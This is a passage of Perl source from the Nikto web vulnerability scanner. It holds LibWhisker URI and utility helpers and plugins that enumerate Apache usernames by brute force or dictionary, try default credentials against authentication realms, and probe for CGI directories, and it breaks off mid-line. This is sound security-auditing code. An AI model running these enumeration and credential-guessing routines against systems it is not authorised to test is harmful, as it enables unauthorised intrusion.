"$p[1]://$p[2]"; $buri .= ":$p[3]" if ( ($p[1] eq 'http' && $p[3] != 80) || ($p[1] eq 'https' && $p[3] != 443) ); # $buri.='/'; } else { # ah suck, base URI isn't absolute... return $uri; } } else { $buri =~ s/[?#].*$//; # remove params and fragments $buri .= '/' if ( $buri =~ m#^[a-z]+://[^/]+$#i ); $buri =~ s#/[^/]*$#/#; } return uri_normalize("$buri$uri") if ( defined $norm && $norm > 0 ); return $buri . $uri; } ################################################################# =item B Params: $uri [, $fix_windows_slashes ] Return: $normalized_uri [ undef on error ] Takes the given $uri and does any /./ and /../ dereferencing in order to come up with the correct absolute URL. If the $fix_ windows_slashes parameter is set to 1, all \ (back slashes) will be converted to / (forward slashes). Non-http/https URIs return an error. =cut sub uri_normalize { my ( $host, $uri, $win ) = ( '', @_ ); $uri =~ tr#\\#/# if ( defined $win && $win > 0 ); if ( $uri =~ s#^([-+.a-z0-9A-Z]+:)## ) { return undef if ( $1 ne 'http:' && $1 ne 'https:' ); $host = $1; return undef unless ( $uri =~ s#^(//[^/]+)## ); $host .= $1; } return "$host/" if ( $uri eq '' || $uri eq '/' ); # fast path check return "$host$uri" if ( index( $uri, '/.' ) < 0 ); my $extra = ''; $extra = $1 if($uri =~ s/([?#].*)$//); # remove params and fragments # parse order/steps as defined in RFC 1808 1 while ( $uri =~ s#/\./#/# || $uri =~ s#//#/# ); $uri =~ s#/\.$#/#; 1 while ( $uri =~ s#[^/]+/\.\./## ); 1 while ( $uri =~ s#^/\.\./#/# ); $uri =~ s#[^/]*/\.\.$##; $uri ||= '/'; return $host . $uri . $extra; } ################################################################# =item B Params: $uri Return: $uri_directory Will take a URI and return the directory base of it, i.e. /rfp/page.php will return /rfp/. =cut sub uri_get_dir { my ( $w, $URL ) = ( 0, shift ); return undef if ( !defined $URL ); $URL = substr( $URL, 0, $w ) if ( ( $w = index( $URL, '#' ) ) >= 0 ); $URL = substr( $URL, 0, $w ) if ( ( $w = index( $URL, '?' ) ) >= 0 ); return $URL if ( substr( $URL, -1, 1 ) eq '/' ); if ( ( $w = rindex( $URL, '/' ) ) >= 0 ) { $URL = substr( $URL, 0, $w + 1 ); } else { $URL = ''; } return $URL; } ################################################################# =item B Params: $uri [, \%param_hash] Return: $stripped_uri This function removes all URI path parameters of the form /blah1;foo=bar/blah2;baz and returns the stripped URI ('/blah1/blah2'). If the optional parameter hash reference is provided, the stripped parameters are saved in the form of 'blah1'=>'foo=bar', 'blah2'=>'baz'. Note: only the last value of a duplicate name is saved into the param_hash, if provided. So a $uri of '/foo;A/foo;B/' will result in a single hash entry of 'foo'=>'B'. =cut sub uri_strip_path_parameters { my ( $uri, $hr ) = @_; my $s = 0; $s++ if ( defined $hr && ref($hr) ); my @p = split( /\//, $uri, -1 ); map { if (s/;(.*)$//) { $$hr{$_} = $1 if ($s); } } @p; return join( '/', @p ); } ################################################################# =item B Params: $parameter_string [, $decode, $multi_flag ] Return: \%parameter_hash This function takes a string in the form of: foo=1&bar=2&baz=3&foo=4 And parses it into a hash. In the above example, the element 'foo' has two values (1 and 4). If $multi_flag is set to 1, then the 'foo' hash entry will hold an anonymous array of both values. Otherwise, the default is to just contain the last value (in this case, '4'). If $decode is set to 1, then normal hex decoding is done on the characters, where needed (both the name and value are decoded). Note: if a URL parameter name appears without a value, then the value will be set to undef. E.g. for the string "foo=1&bar&baz=2", the 'bar' hash element will have an undef value. =cut sub uri_parse_parameters { my ( $str, $decode, $multi ) = @_; my %P; if( $str !~ tr/=&// ){ $P{$str} = undef; return \%P; } $multi ||= 0; $decode ||= 0; foreach ( split( /&/, $str ) ) { my ( $name, $value ) = split( /=/, $_, 2 ); if ($decode) { $name = uri_unescape($name); $value = uri_unescape($value); } if ( defined $P{$name} && $multi ) { if ( ref( $P{$name} ) ) { push @{ $P{$name} }, $value; } else { $P{$name} = [ $P{$name}, $value ]; } } else { $P{$name} = $value; } } return \%P; } ################################################################# =item B Params: $data Return: $encoded_data This function encodes the given $data so it is safe to be used in URIs. =cut sub uri_escape { my $data = shift; return undef if ( !defined $data ); $data =~ s/\%/\%25/g; $data =~ s/([+?&=#;@\\\/])/sprintf("%%%02x",ord($1))/eg; $data =~ tr/ /+/; $data =~ s/([^!-~])/sprintf("%%%02x",ord($1))/eg; return $data; } ################################################################# =item B Params: $encoded_data Return: $data This function decodes the given $data out of URI format. =cut sub uri_unescape { my $data = shift; return undef if ( !defined $data ); $data =~ tr/+/ /; $data =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",hex($1))/eg; return $data; } ################################################################# ######################################################################## =item B Params: $uri, $depth, \@dir_parts, \@valid, \&func, \%track, \%arrays, \&cfunc Return: nothing This is a special function which is used to recursively-permutate through a given directory listing. This is really only used by whisker, in order to traverse down directories, testing them as it goes. See whisker 2.0 for exact usage examples. =cut # '/', 0, \@dir.split, \@valid, \&func, \%track, \%arrays, \&cfunc # sub utils_recperm { # my ( $d, $p, $pp, $pn, $r, $fr, $dr, $ar, $cr ) = ( '', shift, shift, @_ ); # $p =~ s#/+#/#g; # if ( $pp >= @$pn ) { # push @$r, $p if &$cr( $$dr{$p} ); # } # else { # my $c = $$pn[$pp]; # if ( $c !~ /^\@/ ) { # utils_recperm( $p . $c . '/', $pp + 1, @_ ) # if ( &$fr( $p . $c . '/' ) ); # } # else { # $c =~ tr/\@//d; # if ( defined $$ar{$c} ) { # foreach $d ( @{ $$ar{$c} } ) { # if ( &$fr( $p . $d . '/' ) ) { # utils_recperm( $p . $d . '/', $pp + 1, @_ ); # } # } # } # } # } # } ################################################################# =item B Params: \@array Return: nothing This function will randomize the order of the elements in the given array. =cut # sub utils_array_shuffle { # fisher yates shuffle....w00p! # my $array = shift; # my $i; # for ( $i = @$array ; --$i ; ) { # my $j = int rand( $i + 1 ); # next if $i == $j; # @$array[ $i, $j ] = @$array[ $j, $i ]; # } # } # end array_shuffle, from Perl Cookbook (rock!) ################################################################# =item B Params: [ $size, $chars ] Return: $random_string This function generates a random string between 10 and 20 characters long, or of $size if specified. If $chars is specified, then the random function picks characters from the supplied string. For example, to have a random string of 10 characters, composed of only the characters 'abcdef', then you would run: utils_randstr(10,'abcdef'); The default character string is alphanumeric. =cut sub utils_randstr { my $str; my $drift = shift || ( ( rand() * 10 ) % 10 ) + 10; # 'a'..'z' doesn't seem to work on string assignment :( my $CHARS = shift || 'abcdefghijklmnopqrstuvwxyz' . 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' . '0123456789'; my $L = length($CHARS); for ( 1 .. $drift ) { $str .= substr( $CHARS, ( ( rand() * $L ) % $L ), 1 ); } return $str; } ################################################################# =item B Params: $host, $port Return: $result Quick function to attempt to make a connection to the given host and port. If a connection was successfully made, function will return true (1). Otherwise it returns false (0). Note: this uses standard TCP connections, thus is not recommended for use in port-scanning type applications. Extremely slow. =cut sub utils_port_open { # this should be platform-safe my ( $target, $port ) = @_; return 0 if ( !defined $target || !defined $port ); return 0 if ( !defined $Socket::VERSION ); my $open = 0; if ( $LW2_CAN_IPv6 ) { my ($err, @results) = getaddrinfo($target, $port, { socktype => SOCK_STREAM, protocol => IPPROTO_TCP, family => ( $main::CLI{'ipv6'} ) ? AF_INET6 : AF_INET } ); foreach my $sk (@results) { if ( socket(S, $sk->{family}, $sk->{socktype}, $sk->{proto}) ) { $open = connect(S, $sk->{addr} ); last if $open; } } } else { if ( !( socket( S, PF_INET, SOCK_STREAM, 0 ) ) ) { return 0; } $open = ( connect( S, sockaddr_in( $port, inet_aton($target) ) ) ); } if ( $open ) { close(S); return 1; } else { return 0; } } ################################################################# =item B Params: \%hash Return: $number_changed Will lowercase all the header names (but not values) of the given hash. =cut sub utils_lowercase_keys { my $href = shift; return if ( !( defined $href && ref($href) ) ); my $count = 0; while ( my ( $key, $val ) = each %$href ) { if ( $key =~ tr/A-Z// ) { $count++; delete $$href{$key}; $$href{ lc($key) } = $val; } } return $count; } ################################################################# =item B Params: \%hash, $key Return: $value, undef on error or not exist Searches the given hash for the $key (regardless of case), and returns the value. If the return value is placed into an array, the will dereference any multi-value references and return an array of all values. WARNING! In scalar context, $value can either be a single-value scalar or an array reference for multiple scalar values. That means you either need to check the return value and act appropriately, or use an array context (even if you only want a single value). This is very important, even if you know there are no multi-value hash keys. This function may still return an array of multiple values even if all hash keys are single value, since lowercasing the keys could result in multiple keys matching. For example, a hash with the values { 'Foo'=>'a', 'fOo'=>'b' } technically has two keys with the lowercase name 'foo', and so this function will either return an array or array reference with both 'a' and 'b'. =cut sub utils_find_lowercase_key { return utils_find_key( $_[0], $_[1], 1 ); } ################################################################# =item B Params: \%hash, $key Return: $value, undef on error or not exist Searches the given hash for the $key (case-sensitive), and returns the value. If the return value is placed into an array, the will dereference any multi-value references and return an array of all values. =cut sub utils_find_key { my ( $href, $key, $dolower ) = ( shift, shift, shift || 0 ); return undef if ( !( defined $href && ref($href) ) ); return undef if ( !defined $key ); if ($dolower) { $key = lc($key); my ( $k, $v ); my @match; while ( ( $k, $v ) = each %$href ) { if ( lc($k) eq $key ) { if( ref($v) ) { push @match, @$v; } else { push @match, $v; } } } return @match if wantarray(); return \@match if( ~~@match > 1 ); return $match[0]; } else { return @{ $href->{$key} } if ( ref( $href->{$key} ) && wantarray() ); return $href->{$key}; } return undef; } ################################################################# =item B Params: \%hash, $key Return: $number_found Searches the given hash for the $key (regardless of case), and deletes the key out of the hash if found. The function returns the number of keys found and deleted (since multiple keys can exist under the names 'Key', 'key', 'keY', 'KEY', etc.). =cut sub utils_delete_lowercase_key { my ( $href, $key ) = ( shift, lc(shift) ); return undef if ( !( defined $href && ref($href) ) ); return undef if ( !defined $key ); my $deleted = 0; foreach ( keys %$href ) { if ( lc($_) eq $key ) { delete $href->{$_}; $deleted++; } } return $deleted; } ################################################################# =item B Params: \$data [, $resetpos ] Return: $line (undef if no more data) Fetches the next \n terminated line from the given data. Use the optional $resetpos to reset the internal position pointer. Does *NOT* return trialing \n. =cut { my $POS = 0; sub utils_getline { my ( $dr, $rp ) = @_; return undef if ( !( defined $dr && ref($dr) ) ); $POS = $rp if ( defined $rp ); my $where = index( $$dr, "\x0a", $POS ); return undef if ( $where == -1 ); my $str = substr( $$dr, $POS, $where - $POS ); $POS = $where + 1; return $str; } } ################################################################# =item B Params: \$data [, $resetpos ] Return: $line (undef if no more data) Fetches the next \r\n terminated line from the given data. Use the optional $resetpos to reset the internal position pointer. Does *NOT* return trialing \r\n. =cut { my $POS = 0; sub utils_getline_crlf { my ( $dr, $rp ) = @_; return undef if ( !( defined $dr && ref($dr) ) ); $POS = $rp if ( defined $rp ); my $tpos = $POS; while (1) { my $where = index( $$dr, "\x0a", $tpos ); return undef if ( $where == -1 ); if ( substr( $$dr, $where - 1, 1 ) eq "\x0d" ) { my $str = substr( $$dr, $POS, $where - $POS - 1 ); $POS = $where + 1; return $str; } else { $tpos = $where + 1; } } } } ################################################################# =item B Params: $file, \%response Return: 0 on success, 1 on error Saves the data portion of the given whisker %response hash to the indicated file. Can technically save the data portion of a %request hash too. A file is not written if there is no data. Note: LW does not do any special file checking; files are opened in overwrite mode. =cut # sub utils_save_page { # my ( $file, $hr ) = @_; # return 1 if ( !ref($hr) || ref($file) ); # return 0 # if ( !defined $$hr{'whisker'} # || !defined $$hr{'whisker'}->{'data'} ); # open( OUT, ">$file" ) || return 1; # binmode(OUT); # Stupid Windows # print OUT $$hr{'whisker'}->{'data'}; # close(OUT); # return 0; # } ################################################################# =item B Params: $opt_str, \%opt_results Return: 0 on success, 1 on error This function is a general implementation of GetOpts::Std. It will parse @ARGV, looking for the options specified in $opt_str, and will put the results in %opt_results. Behavior/parameter values are similar to GetOpts::Std's getopts(). Note: this function does *not* support long options (--option), option grouping (-opq), or options with immediate values (-ovalue). If an option is indicated as having a value, it will take the next argument regardless. =cut # sub utils_getopts { # my ( $str, $ref ) = @_; # my ( %O, $l ); # my @left; # return 1 if ( $str =~ tr/-:a-zA-Z0-9//c ); # while ( $str =~ m/([a-z0-9]:{0,1})/ig ) { # $l = $1; # if ( $l =~ tr/://d ) { # $O{$l} = 1; # } # else { $O{$l} = 0; } # } # while ( $l = shift(@ARGV) ) { # push( @left, $l ) && next if ( substr( $l, 0, 1 ) ne '-' ); # push( @left, $l ) && next if ( $l eq '-' ); # substr( $l, 0, 1 ) = ''; # if ( length($l) != 1 ) { # %$ref = (); # return 1; # } # if ( $O{$l} == 1 ) { # my $x = shift(@ARGV); # $$ref{$l} = $x; # } # else { $$ref{$l} = 1; } # } # @ARGV = @left; # return 0; # } ################################################################# =item B Params: $long_text_string [, $crlf, $width ] Return: $formatted_test_string This is a simple function used to format a long line of text for display on a typical limited-character screen, such as a unix shell console. $crlf defaults to "\n", and $width defaults to 76. =cut # sub utils_text_wrapper { # my ( $out, $w, $str, $crlf, $width ) = ( '', 0, @_ ); # $crlf ||= "\n"; # $width ||= 76; # $str .= $crlf if ( $str !~ /$crlf$/ ); # return $str if ( length($str) <= $width ); # while ( length($str) > $width ) { # my $w1 = rindex( $str, ' ', $width ); # my $w2 = rindex( $str, "\t", $width ); # if ( $w1 > $w2 ) { $w = $w1; } # else { $w = $w2; } # if ( $w == -1 ) { # $w = $width; # } # else { substr( $str, $w, 1 ) = ''; } # $out .= substr( $str, 0, $w, '' ); # $out .= $crlf; # } # return $out . $str; # } ################################################################# =item B Params: \%req, $pre, $post, \@values_in, \@values_out Return: Nothing (adds to @out) Bruteurl will perform a brute force against the host/server specified in %req. However, it will make one request per entry in @in, taking the value and setting $hin{'whisker'}->{'uri'}= $pre.value.$post. Any URI responding with an HTTP 200 or 403 response is pushed into @out. An example of this would be to brute force usernames, putting a list of common usernames in @in, setting $pre='/~' and $post='/'. =cut # sub utils_bruteurl { # my ( $hin, $upre, $upost, $arin, $arout ) = @_; # my ( $U, %hout ); # return if ( !( defined $hin && ref($hin) ) ); # return if ( !( defined $arin && ref($arin) ) ); # return if ( !( defined $arout && ref($arout) ) ); # return if ( !defined $upre || length($upre) == 0 ); # return if ( !defined $upost || length($upost) == 0 ); # http_fixup_request($hin); # map { # ( $U = $_ ) =~ tr/\r\n//d; # next if ( $U eq '' ); # if ( # !http_do_request( $hin, \%hout, { 'uri' => $upre . $U . $upost } ) ) # { # if ( $hout{'whisker'}->{'code'} == 200 # || $hout{'whisker'}->{'code'} == 403 ) # { # push( @{$arout}, $U ); # } # } # } @$arin; # } ################################################################# =item B Params: $tag_name, \%attributes Return: $tag_string [undef on error] This function takes the $tag_name (like 'A') and a hash full of attributes (like {href=>'http://foo/'}) and returns the constructed HTML tag string (). =cut # sub utils_join_tag { # my ( $name, $href ) = @_; # return undef if ( !defined $name || $name eq '' ); # return undef if ( !defined $href || !ref($href) ); # my ( $out, $k, $v ) = ( "<$name", '', '' ); # while ( ( $k, $v ) = each %$href ) { # next if ( $k eq '' ); # $out .= " $k"; # $out .= "=\"$v\"" if ( defined $v ); # } # $out .= '>'; # return $out; # } ################################################################# =item B Params: \%from_request, \%to_request Return: 1 on success, 0 on error This function takes the connection/request-specific values from the given from_request hash, and copies them to the to_request hash. =cut # sub utils_request_clone { # my ( $from, $to ) = @_; # return 0 if ( !defined $from || !ref($from) ); # return 0 if ( !defined $to || !ref($to) ); # return 0 if ( !defined $from->{whisker}->{MAGIC} ); # %$to = (); # # copy headers # my ( $k, $v ); # while ( ( $k, $v ) = each(%$from) ) { # next if ( $k eq 'whisker' ); # if ( ref($v) ) { # @{ $to->{$k} } = @$v; # } # else { # $to->{$k} = $v; # } # } # # copy whisker control values # $to->{whisker} = {}; # while ( ( $k, $v ) = each( %{ $from->{whisker} } ) ) { # if ( ref($v) ) { # @{ $to->{whisker}->{$k} } = @$v; # } # else { # $to->{whisker}->{$k} = $v; # } # } # return 1; # } ################################################################# =item B Params: \%request [, $hash ] Return: $fingerprint [undef on error] This function constructs a 'fingerprint' of the given request by using a cryptographic hashing function on the constructed original HTTP request. Note: $hash can be 'md5' (default) or 'md4'. =cut # sub utils_request_fingerprint { # my ( $href, $hash ) = @_; # $hash ||= 'md5'; # return undef if ( !defined $href || !ref($href) ); # return undef if ( !defined $href->{whisker}->{MAGIC} ); # my $data = ''; # if ( $href->{whisker}->{MAGIC} == 31339 ) { # LW2 request # $data = http_req2line($href); # if ( $href->{whisker}->{version} ne '0.9' ) { # $data .= http_construct_headers($href); # $data .= $href->{whisker}->{raw_header_data} # if ( defined $href->{whisker}->{raw_header_data} ); # $data .= $href->{whisker}->{http_eol}; # $data .= $href->{whisker}->{data} # if ( defined $href->{whisker}->{data} ); # } # http 0.9 support # return 'md5:' . md5($data) if ( $hash eq 'md5' ); # return 'md4:' . md4($data) if ( $hash eq 'md4' ); # } # return undef; # } ################################################################# =item B Params: \%lwhash Return: $flat_version [undef on error] This function takes a %request or %response libwhisker hash, and creates an approximate flat data string of the original request/ response (i.e. before it was parsed into components and placed into the libwhisker hash). =cut # sub utils_flatten_lwhash { # my $hr = shift; # return undef if ( !defined $hr || !ref($hr) ); # my $out; # if ( $hr->{whisker}->{MAGIC} == 31339 ) { # $out = http_req2line($hr); # } # elsif ( $hr->{whisker}->{MAGIC} == 31340 ) { # $out = http_resp2line($hr); # } # else { # return undef; # } # $out .= http_construct_headers($hr); # $out .= $hr->{whisker}->{http_eol} || "\x0d\x0a"; # if ( defined $hr->{whisker}->{data} # && length( $hr->{whisker}->{data} ) > 0 ) # { # $out .= $hr->{whisker}->{data}; # } # return $out; # } ################################################################# sub _utils_carp_common { my ($x,$pack,$m) = (0, shift || '',join('',@_) || '(Unknown error)'); my @s = caller($x++); @s=caller($x++) while(defined $s[0] && ($s[0] eq 'LW2' || $s[0] eq $pack)); return $m if !defined $s[0]; return "$m at $s[1] line $s[2]\n"; } =item B Params: [ $package_name ] Return: nothing This function acts like Carp's carp function. It warn's with the file and line number of user's code which causes a problem. It traces up the call stack and reports the first function that is not in the LW2 or optional $package_name package package. =cut sub utils_carp { warn _utils_carp_common(@_); } =item B Params: [ $package_name ] Return: nothing This function acts like Carp's croak function. It die's with the file and line number of user's code which causes a problem. It traces up the call stack and reports the first function that is not in the LW2 or optional $package_name package package. =cut sub utils_croak { die _utils_carp_common(@_); } =back =head1 SEE ALSO L =head1 COPYRIGHT Copyright 2009 Jeff Forristal =cut 1; ================================================ FILE: program/plugins/nikto_apacheusers.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Apache user enumeration ############################################################################### sub nikto_apacheusers_init { my $id = { name => "apacheusers", full_name => "Apache Users", author => "Javier Fernandez-Sanguinoi Pena", description => "Checks whether we can enumerate usernames directly from the web server", hooks => { scan => { method => \&nikto_apacheusers, }, }, copyright => "2008 Chris Sullo", options => { enumerate => "Flag to indicate whether to attempt to enumerate users", dictionary => "Filename for a dictionary file of users", size => "Maximum size of username if bruteforcing", home => "Look for ~user to enumerate", cgiwrap => "User cgi-bin/cgiwrap to enumerate" } }; return $id; } sub nikto_apacheusers { my ($mark, $parameters) = @_; return if $mark->{'terminate'}; my $apacheusers = 0; # If we haven't been asked to enumerate users then return return unless (defined $parameters->{'enumerate'} && $parameters->{'enumerate'} == 1); # First ensure that the server is vulnerable my ($response, $content) = nfetch($mark, "/~bin", "GET", "", "", "", "apacheusers: known user"); $content = quotemeta($content); if ($content =~ /forbidden/i) # good on "bin" { my ($response, $content, $errors, $request, $response) = nfetch($mark, "/~" . LW2::utils_randstr(8), "GET", "", "", "", "apacheusers: invalid user"); $content = quotemeta($content); if ($content !~ /forbidden/i) # Good, it gave an error instead of forbidden { add_vulnerability( $mark, "/~bin: Enumeration of users is possible by requesting ~username (responds with 'Forbidden' for users and 'not found' for non-existent users).", 999999, "CVE-2001-1013", "GET", "/~bin", $request, $response ); } $apacheusers = 1; } # If we can't enumerate users then return return unless ($apacheusers == 1); # Now we can attempt to enumerate the users my ($url, $dictfile, $size); my @cgiwraps; my @CFGCGI = split(/ /, $VARIABLES{"\@CGIDIRS"}); if (defined $parameters->{'dictionary'}) { $dictfile = $parameters->{'dictionary'}; } if (defined $parameters->{'size'}) { $size = $parameters->{'size'}; } # Set the URL according to the parameters if (defined $parameters->{'cgiwrap'}) { # Check for existence of cgiwrap foreach my $cgidir (@CFGCGI) { my $curl = "$cgidir" . "cgiwrap"; my ($response, $content) = nfetch($mark, $curl, "GET", "", "", "", "user_enum_apache: cgiwrap"); if ($content =~ /check your URL/i) { push(@cgiwraps, "$curl"); } } foreach my $cgiwrap (@cgiwraps) { $url = "$cgiwrap/~"; # First check whether we use a dictionary attack of brute force it if (defined $dictfile) { # We have options - assume it is a dictionary attack nikto_user_enum_apache_dictionary($url, $mark, $dictfile); } else { nikto_user_enum_apache_brute($url, $mark, $size); } } } if (defined $parameters->{'home'}) { $url = "/~"; # First check whether we use a dictionary attack of brute force it if (defined $dictfile) { # We have options - assume it is a dictionary attack nikto_user_enum_apache_dictionary($url, $mark, $dictfile); } else { nikto_user_enum_apache_brute($url, $mark, $size); } } } sub nikto_user_enum_apache_brute { # Note1: This script only generates names with letters A-Z (no numbers) # # Note2: this script will generate SUM(26^n)(n=$min to $max) # it's probably faster to write this to a file than to generate it # on the fly BTW. # # Of course, it could be optimized to skip some "strange" # combinations of usernames, but hey, then it wouldn't # be 'brute force' would it? (jfs) my ($url, $mark, $size) = @_; $size = 5 if ($size eq ""); nprint("- Enumerating Apache users (1 to $size characters).", "v", "apacheusers"); my $text = "a"; my $ctr = 0; my $message = "Valid users found via Apache enumeration: "; my ($response, $content); my @foundusers = (); while (length($text) <= $size) { return if $mark->{'terminate'}; if (($ctr % 500) eq 0) { nprint("- User enumeration guess $ctr ($text)", "v", "apacheusers"); } ($response, $content, $errors, $request, $response) = nfetch($mark, $url . $text, "HEAD", "", "", "", "user_enum_apache: enumeration"); my $user = nikto_user_enum_apache_check($response, $text); if (defined $user && $user ne "") { push(@foundusers, $user); } $text++; $ctr++; } if (scalar(@foundusers)) { my $u = join(', ', @foundusers); add_vulnerability($mark, $message . $u, "000479", "CVE-2001-1013", "HEAD", "/", $request, $response); } } sub nikto_user_enum_apache_dictionary { my ($url, $mark, $filename) = @_; my $message = "Valid users found via Apache enumeration: "; my @foundusers = (); my ($response, $content); my $ctr = 0; nprint("- Enumerating Apache users (using dictionary $filename).", "v", "apacheusers"); unless (open(IN, "<$filename")) { nprint("+ ERROR: Unable to open dictionary file $filename: $!."); } # Now attempt on each entry while () { return if $mark->{'terminate'}; chomp; s/\#.*$//; # remove preceding ~ just in case s/^~//; if ($_ eq "") { next } if (($ctr % 500) == 0) { nprint("- User enumeration guess $ctr ($_)", "v", "apacheusers"); } ($response, $content, $errors, $request, $response) = nfetch($mark, $url . $_, "HEAD", "", "", "", "user_enum_apache: dictionary"); my $user = nikto_user_enum_apache_check($response, $_); if ($user) { push(@foundusers, $user); } $ctr++; } close(IN); if (scalar(@foundusers)) { my $u = join(', ', @foundusers); add_vulnerability($mark, $message . $u, "000478", "CVE-2001-1013", "HEAD", "/", $request, $response); } } sub nikto_user_enum_apache_check { (my $code, $user) = @_; my $response = ""; foreach my $found (split(/ /, $VARIABLES{"\@HTTPFOUND"})) { if ($code eq $found) { $response = $user; last; } } return $response; } 1; ================================================ FILE: program/plugins/nikto_auth.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Attempt to guess authentication realms ############################################################################### sub nikto_auth_init { my $id = { name => 'auth', full_name => 'Test Authentication', author => 'Sullo/Tautology', description => 'Attempt to guess authentication realms', hooks => { start => { method => \&nikto_auth_load, weight => 1, }, postfetch => { method => \&nikto_auth, weight => 19, cond => '$response->{whisker}->{code} eq 401', }, prefetch => { method => \&nikto_auth_pre, weight => 1, }, }, copyright => "2010 Chris Sullo" }; use vars qw/$REALMS/; return $id; } # Load up the database as soon as we can sub nikto_auth_load { if (defined $CLI{'hostauth'}) { use Text::ParseWords; my @array = nested_quotewords(':', 0, $CLI{'hostauth'}); if (($array[0][0] ne "") || ($array[0][1] ne "")) { my $HOSTAUTH = { nikto_id => "700500", realm => (defined $array[0][2]) ? $array[0][2] : '@ANY', password => $array[0][1] || "", id => $array[0][0] || "", message => "Credentials provided via CLI.", }; unshift(@{$REALMS}, $HOSTAUTH); } } else { $REALMS = init_db("db_realms"); } } # Prefetch method can only set a default if it exists, since we don't have # any returned 401 header. This may mean we send auth headers when they are not # required, but it shouldn't matter. It also means if there are multiple realms # the postfetch method will keep changing default... sub nikto_auth_pre { my ($mark, $parameters, $request, $response) = @_; if ($mark->{'realms'}{'default'}{'status'}) { LW2::auth_set($mark->{'realms'}{'default'}{'authtype'}, $request, $mark->{'realms'}{'default'}{'id'}, $mark->{'realms'}{'default'}{'password'}); $request->{'whisker'}->{'allow_short_reads'} = 1; LW2::http_fixup_request($request); } return $request, $response; } # Split up www-authenticate to realm and method sub split_auth_header { my $header = $_[0] || return; my ($realm, $authtype); my @authenticate = split(/=/, $header); if ($authenticate[0] =~ /^ntlm/i) { $realm = $authtype = 'ntlm'; } else { $realm = $authenticate[1]; $realm =~ s/^\"//; $realm =~ s/\".*$//; if ($authenticate[0] =~ /^basic/i) { $authtype = 'basic'; } elsif ($authenticate[0] =~ /^digest/i) { $authtype = 'digest'; } } return $realm, $authtype; } # Actual authentication and retry takes place here. # If present, user-supplied credentials will be tried first sub nikto_auth { my ($mark, $parameters, $request, $response) = @_; unless (defined $response->{'www-authenticate'}) { nprint("+ ERROR: No authentication header defined: $response->{'whisker'}->{'uri'}", "v", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); return $request, $response; } my ($realm, $authtype) = split_auth_header($response->{'www-authenticate'}); $authtype = 'basic' if $authtype eq ''; # did we already test this realm? if (exists $mark->{'realms'}{$realm}{'status'}) { return $request, $response; } nprint("+ $response->{'whisker'}->{'uri'} - Requires Authentication for realm '$realm'", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})) if ($OUTPUT{'show_auth'} || $response->{'whisker'}->{'uri'} =~ /^$CLI{'root'}\/?$/); # Save to revert $save_auth = $response->{'www-authenticate'}; # Now we can try the passwords nprint("Testing creds for '$realm'", "v", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); my $success = 0; foreach my $entry (@{$REALMS}) { return if $mark->{'terminate'}; unless ($realm =~ /$entry->{'realm'}/i || $entry->{'realm'} eq '@ANY') { next; } # Set up LW hash LW2::auth_set($authtype, $request, $entry->{'id'}, $entry->{'password'}); # Patch to fix short reads $request->{'whisker'}->{'allow_short_reads'} = 1; LW2::http_fixup_request($request); sleeper(); LW2::http_do_request_timeout($request, $response); # test auth $COUNTERS{'totalrequests'}++; dump_var("Auth Request", $request); dump_var("Auth Response", $response); nprint("- Tested credentials: " . $entry->{'id'} . "/" . $entry->{'password'} . "- response: " . $response->{'whisker'}->{'code'}, "v", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'}) ); $mark->{'realms'}{$realm}{'status'} = 0; $mark->{'realms'}{$realm}{'id'} = $entry->{'id'}; $mark->{'realms'}{$realm}{'password'} = $entry->{'password'}; $mark->{'realms'}{$realm}{'authtype'} = $authtype; if ( $response->{'whisker'}->{'code'} !~ /40[13]/ && $response->{'whisker'}->{'code'} ne "500" && !defined $response->{'whisker'}->{'error'}) { unless ($entry->{'checked'} == 1) { my $message; my $ref; if ($entry->{'message'} eq "Credentials provided via CLI.") { $message = "Successfully authenticated to realm '$realm' with user-supplied credentials."; } elsif ($entry->{'id'} eq '' && $entry->{'password'} eq '') { $message = "Blank credentials found at $request->{'whisker'}->{uri}, $entry->{'realm'}: $entry->{'msg'}."; $ref = "CWE-16"; } else { $message = $request->{'whisker'}->{'uri'} . ": Default account found for '$realm' at (ID '$entry->{'id'}', PW '$entry->{'password'}'). $entry->{message}."; $ref = "CWE-16"; } add_vulnerability($mark, $message, $entry->{'nikto_id'}, $ref, "GET", $request->{'whisker'}->{'uri'}, $request, $response); # Mark it successful $success = 1; $entry->{'checked'} = 1; $mark->{'realms'}{$realm}{'status'} = 1; $mark->{'realms'}{'default'} = $mark->{'realms'}{$realm}; last; } } else { # set this back $response->{'www-authenticate'} = $save_auth; } } LW2::auth_unset($request); if (!$success) { nprint("+ " . $request->{'whisker'}->{'uri'} . ": No creds found for realm '$realm'", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); } return $request, $response; } 1; ================================================ FILE: program/plugins/nikto_cgi.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Perform CGI tests ############################################################################### sub nikto_cgi_init { my $id = { name => "cgi", full_name => "CGI", author => "Sullo", description => "Enumerates possible CGI directories.", hooks => { recon => { method => \&nikto_cgi, }, }, copyright => "2008 Chris Sullo", }; return $id; } sub nikto_cgi { my ($mark) = @_; my ($gotvalid, $gotinvalid) = (0, 0); my @POSSIBLECGI; my @CFGCGI = split(' ', $VARIABLES{'@CGIDIRS'}); my ($res, $content, $possiblecgidir, $found) = ('', '', '', ''); if (defined $CLI{'forcecgi'}) { if ($CLI{'forcecgi'} eq "all") { nprint("Using all known CGI directories\n", "d"); $VARIABLES{'@CGIDIRS'} = @CFGCGI ? join(" ", @CFGCGI) : ""; } elsif ($CLI{'forcecgi'} eq "none") { nprint("- No CGI directories are set\n", "v", "cgi"); $VARIABLES{'@CGIDIRS'} = ""; } else { nprint("Using CGI dir '$CLI{'forcecgi'}'\n", "d"); $VARIABLES{'@CGIDIRS'} = $CLI{'forcecgi'}; } } else # or normal testing of each dir { foreach my $possiblecgidir (@CFGCGI) { return if $mark->{'terminate'}; my ($res, $content, $error, $request, $response) = nfetch($mark, $possiblecgidir, "GET", "", "", "", "CGI"); nprint("Checked for CGI dir\t$possiblecgidir\tgot:$res", "d", ($mark->{'hostname'}, 